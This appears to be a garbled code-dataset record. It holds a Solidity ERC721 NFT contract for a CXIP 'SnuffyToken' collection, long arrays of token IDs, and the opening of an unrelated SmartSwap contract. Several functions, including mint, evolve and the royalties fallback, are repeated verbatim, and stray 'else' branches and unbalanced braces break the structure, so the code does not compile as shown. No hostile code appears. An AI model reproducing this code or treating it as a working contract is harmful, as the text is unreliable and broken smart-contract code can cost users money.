address wallet = _tokenOwner[tokenId];
_clearApproval(tokenId);
_tokenOwner[tokenId] = address(0);
emit Transfer(wallet, address(0), tokenId);
_removeTokenFromOwnerEnumeration(wallet, tokenId);
}
function init(address newOwner, CollectionData calldata collectionData) public {
require(Address.isZero(_admin), "CXIP: already initialized");
_admin = msg.sender;
_owner = address(this);
_collectionData = collectionData;
IPA1D(address(this)).init (0, payable(collectionData.royalties), collectionData.bps);
_owner = newOwner;
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public payable {
safeTransferFrom(from, to, tokenId, "");
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory data
) public payable {
require(_isApproved(msg.sender, tokenId), "CXIP: not approved sender");
_transferFrom(from, to, tokenId);
if (Address.isContract(to)) {
require(
ICxipERC721(to).onERC721Received(address(this), from, tokenId, data) == 0x150b7a02,
"CXIP: onERC721Received fail"
);
}
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory data
) public payable {
require(_isApproved(msg.sender, tokenId), "CXIP: not approved sender");
_transferFrom(from, to, tokenId);
if (Address.isContract(to)) {
require(
ICxipERC721(to).onERC721Received(address(this), from, tokenId, data) == 0x150b7a02,
"CXIP: onERC721Received fail"
);
}
}
function setApprovalForAll(address to, bool approved) public {
require(to != msg.sender, "CXIP: can't approve self");
_operatorApprovals[msg.sender][to] = approved;
emit ApprovalForAll(msg.sender, to, approved);
}
function transfer(
address to,
uint256 tokenId
) public payable {
transferFrom(msg.sender, to, tokenId, "");
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public payable {
transferFrom(from, to, tokenId, "");
}
function transferFrom(
address from,
address to,
uint256 tokenId,
bytes memory /*_data*/
) public payable {
require(_isApproved(msg.sender, tokenId), "CXIP: not approved sender");
_transferFrom(from, to, tokenId);
}
function mint(uint256 state, uint256 tokenId, TokenData[] memory tokenData, address signer, Verification memory verification, address recipient) public {
require(isOwner() || msg.sender == getBroker(), "CXIP: only owner/broker can mint");
require(_allTokens.length < getTokenLimit(), "CXIP: over token limit");
require(isIdentityWallet(tokenData[0].creator), "CXIP: creator not in identity");
if (!isOwner()) {
require(isIdentityWallet(signer), "CXIP: invalid signer");
bytes memory encoded = abi.encode(
tokenData[0].creator,
tokenId,
tokenData
);
require(Signature.Valid(
signer,
verification.r,
verification.s,
verification.v,
encoded
), "CXIP: invalid signature");
}
if (!Address.isZero(recipient)) {
require(!_exists(tokenId), "CXIP: token already exists");
emit Transfer(address(0), tokenData[0].creator, tokenId);
emit Transfer(tokenData[0].creator, recipient, tokenId);
_tokenOwner[tokenId] = recipient;
_addTokenToOwnerEnumeration(recipient, tokenId);
_mint(tokenData[0].creator, tokenId);
}
if (_allTokens.length == getTokenLimit()) {
setMintingClosed();
}
(uint256 max,/* uint256 limit*/,/* uint256 future0*/,/* uint256 future1*/,/* uint256 future2*/,/* uint256 future3*/) = SnuffyToken.getStatesConfig();
require(tokenData.length <= max, "CXIP: token data states too long");
uint256 index = max * tokenId;
for (uint256 i = 0; i < tokenData.length; i++) {
_tokenData[index] = tokenData[i];
index++;
}
SnuffyToken.setTokenData(tokenId, state, block.timestamp, tokenId);
}
function mint(uint256 state, uint256 tokenId, TokenData[] memory tokenData, address signer, Verification memory verification, address recipient) public {
require(isOwner() || msg.sender == getBroker(), "CXIP: only owner/broker can mint");
require(_allTokens.length < getTokenLimit(), "CXIP: over token limit");
require(isIdentityWallet(tokenData[0].creator), "CXIP: creator not in identity");
if (!isOwner()) {
require(isIdentityWallet(signer), "CXIP: invalid signer");
bytes memory encoded = abi.encode(
tokenData[0].creator,
tokenId,
tokenData
);
require(Signature.Valid(
signer,
verification.r,
verification.s,
verification.v,
encoded
), "CXIP: invalid signature");
}
if (!Address.isZero(recipient)) {
require(!_exists(tokenId), "CXIP: token already exists");
emit Transfer(address(0), tokenData[0].creator, tokenId);
emit Transfer(tokenData[0].creator, recipient, tokenId);
_tokenOwner[tokenId] = recipient;
_addTokenToOwnerEnumeration(recipient, tokenId);
_mint(tokenData[0].creator, tokenId);
}
if (_allTokens.length == getTokenLimit()) {
setMintingClosed();
}
(uint256 max,/* uint256 limit*/,/* uint256 future0*/,/* uint256 future1*/,/* uint256 future2*/,/* uint256 future3*/) = SnuffyToken.getStatesConfig();
require(tokenData.length <= max, "CXIP: token data states too long");
uint256 index = max * tokenId;
for (uint256 i = 0; i < tokenData.length; i++) {
_tokenData[index] = tokenData[i];
index++;
}
SnuffyToken.setTokenData(tokenId, state, block.timestamp, tokenId);
}
function mint(uint256 state, uint256 tokenId, TokenData[] memory tokenData, address signer, Verification memory verification, address recipient) public {
require(isOwner() || msg.sender == getBroker(), "CXIP: only owner/broker can mint");
require(_allTokens.length < getTokenLimit(), "CXIP: over token limit");
require(isIdentityWallet(tokenData[0].creator), "CXIP: creator not in identity");
if (!isOwner()) {
require(isIdentityWallet(signer), "CXIP: invalid signer");
bytes memory encoded = abi.encode(
tokenData[0].creator,
tokenId,
tokenData
);
require(Signature.Valid(
signer,
verification.r,
verification.s,
verification.v,
encoded
), "CXIP: invalid signature");
}
if (!Address.isZero(recipient)) {
require(!_exists(tokenId), "CXIP: token already exists");
emit Transfer(address(0), tokenData[0].creator, tokenId);
emit Transfer(tokenData[0].creator, recipient, tokenId);
_tokenOwner[tokenId] = recipient;
_addTokenToOwnerEnumeration(recipient, tokenId);
_mint(tokenData[0].creator, tokenId);
}
if (_allTokens.length == getTokenLimit()) {
setMintingClosed();
}
(uint256 max,/* uint256 limit*/,/* uint256 future0*/,/* uint256 future1*/,/* uint256 future2*/,/* uint256 future3*/) = SnuffyToken.getStatesConfig();
require(tokenData.length <= max, "CXIP: token data states too long");
uint256 index = max * tokenId;
for (uint256 i = 0; i < tokenData.length; i++) {
_tokenData[index] = tokenData[i];
index++;
}
SnuffyToken.setTokenData(tokenId, state, block.timestamp, tokenId);
}
} else {
function mint(uint256 state, uint256 tokenId, TokenData[] memory tokenData, address signer, Verification memory verification, address recipient) public {
require(isOwner() || msg.sender == getBroker(), "CXIP: only owner/broker can mint");
require(_allTokens.length < getTokenLimit(), "CXIP: over token limit");
require(isIdentityWallet(tokenData[0].creator), "CXIP: creator not in identity");
if (!isOwner()) {
require(isIdentityWallet(signer), "CXIP: invalid signer");
bytes memory encoded = abi.encode(
tokenData[0].creator,
tokenId,
tokenData
);
require(Signature.Valid(
signer,
verification.r,
verification.s,
verification.v,
encoded
), "CXIP: invalid signature");
}
if (!Address.isZero(recipient)) {
require(!_exists(tokenId), "CXIP: token already exists");
emit Transfer(address(0), tokenData[0].creator, tokenId);
emit Transfer(tokenData[0].creator, recipient, tokenId);
_tokenOwner[tokenId] = recipient;
_addTokenToOwnerEnumeration(recipient, tokenId);
_mint(tokenData[0].creator, tokenId);
}
if (_allTokens.length == getTokenLimit()) {
setMintingClosed();
}
(uint256 max,/* uint256 limit*/,/* uint256 future0*/,/* uint256 future1*/,/* uint256 future2*/,/* uint256 future3*/) = SnuffyToken.getStatesConfig();
require(tokenData.length <= max, "CXIP: token data states too long");
uint256 index = max * tokenId;
for (uint256 i = 0; i < tokenData.length; i++) {
_tokenData[index] = tokenData[i];
index++;
}
SnuffyToken.setTokenData(tokenId, state, block.timestamp, tokenId);
}
function mint(uint256 state, uint256 tokenId, TokenData[] memory tokenData, address signer, Verification memory verification, address recipient) public {
require(isOwner() || msg.sender == getBroker(), "CXIP: only owner/broker can mint");
require(_allTokens.length < getTokenLimit(), "CXIP: over token limit");
require(isIdentityWallet(tokenData[0].creator), "CXIP: creator not in identity");
if (!isOwner()) {
require(isIdentityWallet(signer), "CXIP: invalid signer");
bytes memory encoded = abi.encode(
tokenData[0].creator,
tokenId,
tokenData
);
require(Signature.Valid(
signer,
verification.r,
verification.s,
verification.v,
encoded
), "CXIP: invalid signature");
}
if (!Address.isZero(recipient)) {
require(!_exists(tokenId), "CXIP: token already exists");
emit Transfer(address(0), tokenData[0].creator, tokenId);
emit Transfer(tokenData[0].creator, recipient, tokenId);
_tokenOwner[tokenId] = recipient;
_addTokenToOwnerEnumeration(recipient, tokenId);
_mint(tokenData[0].creator, tokenId);
}
if (_allTokens.length == getTokenLimit()) {
setMintingClosed();
}
(uint256 max,/* uint256 limit*/,/* uint256 future0*/,/* uint256 future1*/,/* uint256 future2*/,/* uint256 future3*/) = SnuffyToken.getStatesConfig();
require(tokenData.length <= max, "CXIP: token data states too long");
uint256 index = max * tokenId;
for (uint256 i = 0; i < tokenData.length; i++) {
_tokenData[index] = tokenData[i];
index++;
}
SnuffyToken.setTokenData(tokenId, state, block.timestamp, tokenId);
}
function evolve(uint256 tokenId, uint256[] calldata tokenIds) public {
uint256 state = SnuffyToken.getTokenState(tokenId);
(/*uint256 max*/, uint256 limit,/* uint256 future0*/,/* uint256 future1*/,/* uint256 future2*/,/* uint256 future3*/) = SnuffyToken.getStatesConfig();
require(state < (limit - 1), "CXIP: token evolved to max");
uint256[8] memory _limits = SnuffyToken.getMutationRequirements();
require(tokenIds.length == _limits[state], "CXIP: incorrect tokens amount");
bool included;
for (uint256 i = 0; i < tokenIds.length; i++) {
require(ownerOf(tokenIds[i]) == msg.sender, "CXIP: not owner of token");
require(SnuffyToken.getTokenState(tokenIds[i]) >= state, "CXIP: token level too low");
if (!included && tokenId == tokenIds[i]) {
SnuffyToken.setTokenData(tokenId, state + 1, block.timestamp, tokenId);
included = true;
SnuffyToken.setTokenData(tokenIds[i], 0, block.timestamp, tokenIds[i]);
_transferFrom(msg.sender, SnuffyToken.getBroker(), tokenIds[i]);
}
}
require(included, "CXIP: missing evolving token");
}
function evolve(uint256 tokenId, uint256[] calldata tokenIds) public {
uint256 state = SnuffyToken.getTokenState(tokenId);
(/*uint256 max*/, uint256 limit,/* uint256 future0*/,/* uint256 future1*/,/* uint256 future2*/,/* uint256 future3*/) = SnuffyToken.getStatesConfig();
require(state < (limit - 1), "CXIP: token evolved to max");
uint256[8] memory _limits = SnuffyToken.getMutationRequirements();
require(tokenIds.length == _limits[state], "CXIP: incorrect tokens amount");
bool included;
for (uint256 i = 0; i < tokenIds.length; i++) {
require(ownerOf(tokenIds[i]) == msg.sender, "CXIP: not owner of token");
require(SnuffyToken.getTokenState(tokenIds[i]) >= state, "CXIP: token level too low");
if (!included && tokenId == tokenIds[i]) {
SnuffyToken.setTokenData(tokenId, state + 1, block.timestamp, tokenId);
included = true;
SnuffyToken.setTokenData(tokenIds[i], 0, block.timestamp, tokenIds[i]);
_transferFrom(msg.sender, SnuffyToken.getBroker(), tokenIds[i]);
}
}
require(included, "CXIP: missing evolving token");
}
function evolve(uint256 tokenId, uint256[] calldata tokenIds) public {
uint256 state = SnuffyToken.getTokenState(tokenId);
(/*uint256 max*/, uint256 limit,/* uint256 future0*/,/* uint256 future1*/,/* uint256 future2*/,/* uint256 future3*/) = SnuffyToken.getStatesConfig();
require(state < (limit - 1), "CXIP: token evolved to max");
uint256[8] memory _limits = SnuffyToken.getMutationRequirements();
require(tokenIds.length == _limits[state], "CXIP: incorrect tokens amount");
bool included;
for (uint256 i = 0; i < tokenIds.length; i++) {
require(ownerOf(tokenIds[i]) == msg.sender, "CXIP: not owner of token");
require(SnuffyToken.getTokenState(tokenIds[i]) >= state, "CXIP: token level too low");
if (!included && tokenId == tokenIds[i]) {
SnuffyToken.setTokenData(tokenId, state + 1, block.timestamp, tokenId);
included = true;
SnuffyToken.setTokenData(tokenIds[i], 0, block.timestamp, tokenIds[i]);
_transferFrom(msg.sender, SnuffyToken.getBroker(), tokenIds[i]);
}
}
require(included, "CXIP: missing evolving token");
}
} else {
function getMintingClosed() public view returns (bool mintingClosed) {
uint256 data;
assembly {
data := sload(
0x82d37688748a8833e0d222efdc792424f8a1acdd6c8351cb26b314a4ceee6a84
)
mintingClosed = (data == 1);
}
function getMintingClosed() public view returns (bool mintingClosed) {
uint256 data;
assembly {
data := sload(
0x82d37688748a8833e0d222efdc792424f8a1acdd6c8351cb26b314a4ceee6a84
)
mintingClosed = (data == 1);
}
}
function setMintingClosed() public onlyOwner {
uint256 data = 1;
assembly {
sstore(
0x82d37688748a8833e0d222efdc792424f8a1acdd6c8351cb26b314a4ceee6a84,
data
)
}
function setMintingClosed() public onlyOwner {
uint256 data = 1;
assembly {
sstore(
0x82d37688748a8833e0d222efdc792424f8a1acdd6c8351cb26b314a4ceee6a84,
data
)
}
}
function getTokenLimit() public view returns (uint256 tokenLimit) {
assembly {
tokenLimit := sload(
0xd7cccb4858870420bddc578f86437fd66f8949091f61f21bd40e4390dc953953
)
if (tokenLimit == 0) {
tokenLimit = type(uint256).max;
}
}
function getTokenLimit() public view returns (uint256 tokenLimit) {
assembly {
tokenLimit := sload(
0xd7cccb4858870420bddc578f86437fd66f8949091f61f21bd40e4390dc953953
)
if (tokenLimit == 0) {
tokenLimit = type(uint256).max;
}
}
}
function getTokenLimit() public view returns (uint256 tokenLimit) {
assembly {
tokenLimit := sload(
0xd7cccb4858870420bddc578f86437fd66f8949091f61f21bd40e4390dc953953
)
if (tokenLimit == 0) {
tokenLimit = type(uint256).max;
}
}
function setTokenLimit(uint256 tokenLimit) public onlyOwner {
require(getTokenLimit() == 0, "CXIP: token limit already set");
assembly {
sstore(
0xd7cccb4858870420bddc578f86437fd66f8949091f61f21bd40e4390dc953953,
tokenLimit
)
}
function setTokenLimit(uint256 tokenLimit) public onlyOwner {
require(getTokenLimit() == 0, "CXIP: token limit already set");
assembly {
sstore(
0xd7cccb4858870420bddc578f86437fd66f8949091f61f21bd40e4390dc953953,
tokenLimit
)
}
}
function prepareMintData(uint256 id, TokenData calldata tokenData) public onlyOwner {
require(Address.isZero(_tokenData[id].creator), "CXIP: token data already set");
_tokenData[id] = tokenData;
}
function prepareMintDataBatch(uint256[] calldata ids, TokenData[] calldata tokenData) public onlyOwner {
require(ids.length == tokenData.length, "CXIP: array lengths missmatch");
for (uint256 i = 0; i < ids.length; i++) {
require(Address.isZero(_tokenData[ids[i]].creator), "CXIP: token data already set");
_tokenData[ids[i]] = tokenData[i];
}
}
function prepareMintDataBatch(uint256[] calldata ids, TokenData[] calldata tokenData) public onlyOwner {
require(ids.length == tokenData.length, "CXIP: array lengths missmatch");
for (uint256 i = 0; i < ids.length; i++) {
require(Address.isZero(_tokenData[ids[i]].creator), "CXIP: token data already set");
_tokenData[ids[i]] = tokenData[i];
}
}
function setName(bytes32 newName, bytes32 newName2) public onlyOwner {
_collectionData.name = newName;
_collectionData.name2 = newName2;
}
function setSymbol(bytes32 newSymbol) public onlyOwner {
_collectionData.symbol = newSymbol;
}
function transferOwnership(address newOwner) public onlyOwner {
require(!Address.isZero(newOwner), "CXIP: zero address");
_owner = newOwner;
}
function balanceOf(address wallet) public view returns (uint256) {
require(!Address.isZero(wallet), "CXIP: zero address");
return _ownedTokensCount[wallet];
}
function baseURI() public view returns (string memory) {
}
function exists(uint256 tokenId) public view returns (bool) {
return !Address.isZero(_tokenOwner[tokenId]);
}
function getApproved(uint256 tokenId) public view returns (address) {
return _tokenApprovals[tokenId];
}
function getIdentity() public view returns (address) {
return ICxipProvenance(getRegistry().getProvenance()).getWalletIdentity(_owner);
}
function isApprovedForAll(address wallet, address operator) public view returns (bool) {
return (_operatorApprovals[wallet][operator]/* ||
0x4feE7B061C97C9c496b01DbcE9CDb10c02f0a0Be == operator ||
address(OpenSeaProxyRegistry(0xa5409ec958C83C3f309868babACA7c86DCB077c1).proxies(wallet)) == operator*/);
}
function isOwner() public view returns (bool) {
return (msg.sender == _owner || msg.sender == _admin || isIdentityWallet(msg.sender));
}
function owner() public view returns (address) {
return _owner;
}
function ownerOf(uint256 tokenId) public view returns (address) {
address tokenOwner = _tokenOwner[tokenId];
require(!Address.isZero(tokenOwner), "ERC721: token does not exist");
return tokenOwner;
}
function tokenByIndex(uint256 index) public view returns (uint256) {
require(index < totalSupply(), "CXIP: index out of bounds");
return _allTokens[index];
}
function tokenOfOwnerByIndex(
address wallet,
uint256 index
) public view returns (uint256) {
require(index < balanceOf(wallet));
return _ownedTokens[wallet][index];
}
function totalSupply() public view returns (uint256) {
return _allTokens.length;
}
function onERC721Received(
address, /*_operator*/
address, /*_from*/
uint256, /*_tokenId*/
bytes calldata /*_data*/
) public pure returns (bytes4) {
return 0x150b7a02;
}
function _royaltiesFallback() internal {
address _target = getRegistry().getPA1D();
assembly {
calldatacopy(0, 0, calldatasize())
let result := delegatecall(gas(), _target, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
switch result
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}
function _royaltiesFallback() internal {
address _target = getRegistry().getPA1D();
assembly {
calldatacopy(0, 0, calldatasize())
let result := delegatecall(gas(), _target, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
switch result
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}
function _royaltiesFallback() internal {
address _target = getRegistry().getPA1D();
assembly {
calldatacopy(0, 0, calldatasize())
let result := delegatecall(gas(), _target, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
switch result
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}
function _royaltiesFallback() internal {
address _target = getRegistry().getPA1D();
assembly {
calldatacopy(0, 0, calldatasize())
let result := delegatecall(gas(), _target, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
switch result
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}
function isIdentityWallet(address sender) internal view returns (bool) {
address identity = getIdentity();
if (Address.isZero(identity)) {
return false;
}
return ICxipIdentity(identity).isWalletRegistered(sender);
}
function isIdentityWallet(address sender) internal view returns (bool) {
address identity = getIdentity();
if (Address.isZero(identity)) {
return false;
}
return ICxipIdentity(identity).isWalletRegistered(sender);
}
function getRegistry() internal pure returns (ICxipRegistry) {
return ICxipRegistry(0xC267d41f81308D7773ecB3BDd863a902ACC01Ade);
}
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
_ownedTokensIndex[tokenId] = _ownedTokensCount[to];
_ownedTokensCount[to]++;
_ownedTokens[to].push(tokenId);
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
function _clearApproval(uint256 tokenId) private {
delete _tokenApprovals[tokenId];
}
function _mint(address to, uint256 tokenId) private {
require(!Address.isZero(to), "CXIP: can't mint a burn");
require(!_exists(tokenId), "CXIP: token already exists");
_tokenOwner[tokenId] = to;
emit Transfer(address(0), to, tokenId);
_addTokenToOwnerEnumeration(to, tokenId);
}
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId;
_allTokensIndex[lastTokenId] = tokenIndex;
delete _allTokensIndex[tokenId];
delete _allTokens[lastTokenIndex];
_allTokens.pop();
}
function _removeTokenFromOwnerEnumeration(
address from,
uint256 tokenId
) private {
_removeTokenFromAllTokensEnumeration(tokenId);
_ownedTokensCount[from]--;
uint256 lastTokenIndex = _ownedTokensCount[from];
uint256 tokenIndex = _ownedTokensIndex[tokenId];
if(tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId;
_ownedTokensIndex[lastTokenId] = tokenIndex;
}
if(lastTokenIndex == 0) {
delete _ownedTokens[from];
delete _ownedTokens[from][lastTokenIndex];
_ownedTokens[from].pop();
}
}
function _removeTokenFromOwnerEnumeration(
address from,
uint256 tokenId
) private {
_removeTokenFromAllTokensEnumeration(tokenId);
_ownedTokensCount[from]--;
uint256 lastTokenIndex = _ownedTokensCount[from];
uint256 tokenIndex = _ownedTokensIndex[tokenId];
if(tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId;
_ownedTokensIndex[lastTokenId] = tokenIndex;
}
if(lastTokenIndex == 0) {
delete _ownedTokens[from];
delete _ownedTokens[from][lastTokenIndex];
_ownedTokens[from].pop();
}
}
function _removeTokenFromOwnerEnumeration(
address from,
uint256 tokenId
) private {
_removeTokenFromAllTokensEnumeration(tokenId);
_ownedTokensCount[from]--;
uint256 lastTokenIndex = _ownedTokensCount[from];
uint256 tokenIndex = _ownedTokensIndex[tokenId];
if(tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId;
_ownedTokensIndex[lastTokenId] = tokenIndex;
}
if(lastTokenIndex == 0) {
delete _ownedTokens[from];
delete _ownedTokens[from][lastTokenIndex];
_ownedTokens[from].pop();
}
}
} else {
function _transferFrom(
address from,
address to,
uint256 tokenId
) private {
require(_tokenOwner[tokenId] == from, "CXIP: not from's token");
require(!Address.isZero(to), "CXIP: use burn instead");
_clearApproval(tokenId);
_tokenOwner[tokenId] = to;
emit Transfer(from, to, tokenId);
_removeTokenFromOwnerEnumeration(from, tokenId);
_addTokenToOwnerEnumeration(to, tokenId);
SnuffyToken.setTokenData(tokenId, SnuffyToken.getTokenState(tokenId), block.timestamp, tokenId);
}
function _exists(uint256 tokenId) private view returns (bool) {
address tokenOwner = _tokenOwner[tokenId];
return !Address.isZero(tokenOwner);
}
function _isApproved(address spender, uint256 tokenId) private view returns (bool) {
require(_exists(tokenId));
address tokenOwner = _tokenOwner[tokenId];
return (
spender == tokenOwner ||
getApproved(tokenId) == spender ||
isApprovedForAll(tokenOwner, spender)
);
}
}
| 1,517,312 |
[
1,
13653,
57,
2246,
61,
6604,
225,
385,
60,
2579,
17,
48,
5113,
225,
432,
13706,
6835,
364,
312,
474,
310,
471,
30632,
14204,
57,
2246,
61,
6604,
4232,
39,
27,
5340,
423,
4464,
87,
18,
225,
1021,
7278,
4058,
471,
14176,
434,
326,
13706,
6835,
353,
365,
17,
1213,
8707,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
16351,
14204,
57,
2246,
61,
12483,
288,
203,
565,
2200,
751,
3238,
389,
5548,
751,
31,
203,
203,
565,
2254,
5034,
3238,
389,
2972,
1345,
548,
31,
203,
203,
565,
2254,
5034,
8526,
3238,
389,
454,
5157,
31,
203,
203,
565,
2874,
12,
11890,
5034,
516,
2254,
5034,
13,
3238,
389,
995,
329,
5157,
1016,
31,
203,
203,
565,
2874,
12,
11890,
5034,
516,
1758,
13,
3238,
389,
2316,
5541,
31,
203,
203,
565,
2874,
12,
11890,
5034,
516,
1758,
13,
3238,
389,
2316,
12053,
4524,
31,
203,
203,
565,
2874,
12,
2867,
516,
2254,
5034,
13,
3238,
389,
995,
329,
5157,
1380,
31,
203,
203,
565,
2874,
12,
2867,
516,
2254,
5034,
63,
5717,
3238,
389,
995,
329,
5157,
31,
203,
203,
565,
2874,
12,
2867,
516,
2874,
12,
2867,
516,
1426,
3719,
3238,
389,
9497,
12053,
4524,
31,
203,
203,
565,
2874,
12,
11890,
5034,
516,
3155,
751,
13,
3238,
389,
2316,
751,
31,
203,
203,
565,
1758,
3238,
389,
3666,
31,
203,
203,
565,
1758,
3238,
389,
8443,
31,
203,
203,
565,
2254,
5034,
3238,
389,
4963,
5157,
31,
203,
203,
565,
2874,
12,
11890,
5034,
516,
2254,
5034,
13,
3238,
389,
454,
5157,
1016,
31,
203,
203,
565,
871,
12279,
12,
2867,
8808,
628,
16,
1758,
8808,
358,
16,
2254,
5034,
8808,
1147,
548,
1769,
203,
203,
565,
871,
1716,
685,
1125,
12,
2867,
8808,
9230,
16,
1758,
8808,
3726,
16,
2254,
5034,
8808,
1147,
548,
1769,
203,
203,
565,
871,
1716,
685,
1125,
1290,
1595,
12,
2867,
8808,
9230,
2
] |
/**
*Submitted for verification at BscScan.com on 2021-07-29
*/
// SPDX-License-Identifier: No License (None)
pragma solidity ^0.8.0;
// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false
library TransferHelper {
function safeApprove(address token, address to, uint value) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED');
}
function safeTransfer(address token, address to, uint value) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED');
}
function safeTransferFrom(address token, address from, address to, uint value) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED');
}
function safeTransferETH(address to, uint value) internal {
(bool success,) = to.call{value:value}(new bytes(0));
require(success, 'TransferHelper: ETH_TRANSFER_FAILED');
}
}
interface IERC20 {
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
function approve(address spender, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
}
interface IValidator {
// returns rate (with 18 decimals) = Token B price / Token A price
function getRate(address tokenA, address tokenB) external returns (uint256);
// returns: user balance, native (foreign for us) encoded balance, foreign (native for us) encoded balance
function checkBalances(address factory, address[] calldata user) external returns(uint256);
// returns: user balance
function checkBalance(address factory, address user) external returns(uint256);
// returns: oracle fee
function getOracleFee(uint256 req) external returns(uint256); //req: 1 - cancel, 2 - claim, returns: value
}
interface IReimbursement {
// returns fee percentage with 2 decimals
function getLicenseeFee(address vault, address projectContract) external view returns(uint256);
// returns fee receiver address or address(0) if need to refund fee to user.
function requestReimbursement(address user, uint256 feeAmount, address vault) external returns(address);
}
interface ISPImplementation {
function initialize(
address _owner, // contract owner
address _nativeToken, // native token that will be send to SmartSwap
address _foreignToken, // foreign token that has to be received from SmartSwap (on foreign chain)
address _nativeTokenReceiver, // address on Binance to deposit native token
address _foreignTokenReceiver, // address on Binance to deposit foreign token
uint256 _feeAmountLimit // limit of amount that System withdraw for fee reimbursement
) external;
}
interface IAuction {
function contributeFromSmartSwap(address payable user) external payable returns (bool);
function contributeFromSmartSwap(address token, uint256 amount, address user) external returns (bool);
}
abstract contract Ownable {
address internal _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
/* we use proxy, so owner will be set in initialize() function
constructor () {
_owner = msg.sender;
emit OwnershipTransferred(address(0), msg.sender);
}
*/
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == msg.sender, "Ownable: caller is not the owner");
_;
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract SmartSwap is Ownable {
struct Cancel {
uint64 pairID; // pair ID
address sender; // user who has to receive canceled amount
uint256 amount; // amount of token user want to cancel from order
//uint128 foreignBalance; // amount of token already swapped (on other chain)
}
struct Claim {
uint64 pairID; // pair ID
address sender; // address who send tokens to swap
address receiver; // address who has to receive swapped amount
uint64 claimID; // uniq claim ID
bool isInvestment; // is claim to contributeFromSmartSwap
uint128 amount; // amount of foreign tokens user want to swap
uint128 currentRate;
uint256 foreignBalance; //[0] foreignBalance, [1] foreignSpent, [2] nativeSpent, [3] nativeRate
}
struct Pair {
address tokenA;
address tokenB;
}
address constant NATIVE_COINS = 0x0000000000000000000000000000000000000009; // 1 - BNB, 2 - ETH, 3 - BTC
uint256 constant NOMINATOR = 10**18;
uint256 constant MAX_AMOUNT = 2**128;
address public foreignFactory;
address payable public validator;
uint256 public rateDiffLimit; // allowed difference (in percent) between LP provided rate and Oracle rate.
mapping(address => bool) public isSystem; // system address mey change fee amount
address public auction; // auction address
address public contractSmart; // the reimbursement contract address
